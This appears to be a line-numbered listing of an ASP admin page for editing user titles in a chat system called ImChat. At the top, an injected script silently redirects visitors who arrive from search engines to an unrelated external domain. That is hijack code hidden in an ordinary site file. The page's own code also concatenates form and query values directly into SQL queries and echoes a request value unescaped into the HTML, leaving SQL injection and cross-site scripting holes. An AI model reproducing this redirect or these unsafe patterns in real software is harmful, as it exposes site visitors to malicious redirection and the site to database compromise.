d:\wwwroot\wuchunhua\liaotianim\system_manage\EditTitle.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
009:
if request.form("Method")="ED" then
010:
ConfigRS.OPEN "select * from [XK_Title] where [Title_ID]="&request.form("Title_ID") , DB_CONN , 1 , 3
011:
ConfigRS("Title_Name")=request.form("Title_Name")
012:
ConfigRS("Title_Icon")=request.form("Title_Icon")
013:
ConfigRS("Title_Sort")=request.form("Title_Sort")
014:
ConfigRS.update()
015:
for i=0 to (ConfigRS.Fields.count-1)
016:
Application.Lock()
017:
Application.contents("Title_"+request.form("Title_ID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
018:
Application.Unlock()
019:
next
020:
ConfigRS.close()
021:
RW "<script>alert('修改成功!');location.href='Title_Manage.asp';</script>":response.end()
022:
end if
023:
024:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Title] where [Title_ID]="&request.QueryString("TitleID"))
025:
026:
%
>
027:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
028:
<html xmlns="http://www.w3.org/1999/xhtml">
029:
<head>
030:
<title>ImChat v1.5 Manage System</title>
031:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
032:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
033:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
034:
<script language="javascript" src="../JS_Custom/pcasunzip.js"></script>
035:
<style>
036:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
037:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
038:
#KRS{padding-left:20px;}
039:
#KRS input,#KRS label{float:left;}
040:
.line{clear:both;line-height:1px;height:1px;}
041:
</style>
042:
</head>
043:
<body>
044:
<div class="contentcontainer">
045:
<div class="headings alt">
046:
<h2>等级编辑 <a href="javascript:history.back();" style="text-decoration:none;">返回</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
047:
</div>
048:
<div class="contentbox">
049:
050:
<form action="#" method="post" >
051:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
052:
<tr>
053:
<td width="350">
054:
<label for="Title_Name"><strong>头衔名称:</strong></label>
055:
<input type="text" id="Title_Name" name="Title_Name" class="inputbox" value="
<%
=ConfigRS("Title_Name")
%
>"/>
056:
</td>
057:
<td>
058:
<label for="Title_Sort"><strong>头衔排序:</strong></label>
059:
<input type="text" id="Title_Sort" name="Title_Sort" class="inputbox" value="
<%
=ConfigRS("Title_Sort")
%
>"/>
060:
</td>
061:
</tr>
062:
<tr>
063:
<td>
064:
<label for="Title_Icon"><strong>头衔图标:</strong></label>
065:
<input type="text" id="Title_Icon" name="Title_Icon" class="inputbox" value="
<%
=ConfigRS("Title_Icon")
%
>"/>
066:
</td>
067:
<td valign="middle">
068:
<img src="../
<%
=ConfigRS("Title_Icon")
%
>" border="0"/>
069:
</td>
070:
</tr>
071:
<tr>
072:
<td colspan="2">
073:
<input type="hidden" value="
<%
=request("TitleID")
%
>" name="Title_ID"/>
074:
<input type="hidden" value="ED" name="Method"/>
075:
<input type="submit" value="修改" class="btn" />
076:
</td>
077:
</tr>
078:
</table>
079:
</form>
080:
</div>
081:
</div>
082:
</body>
083:
</html>
084:
085:
086: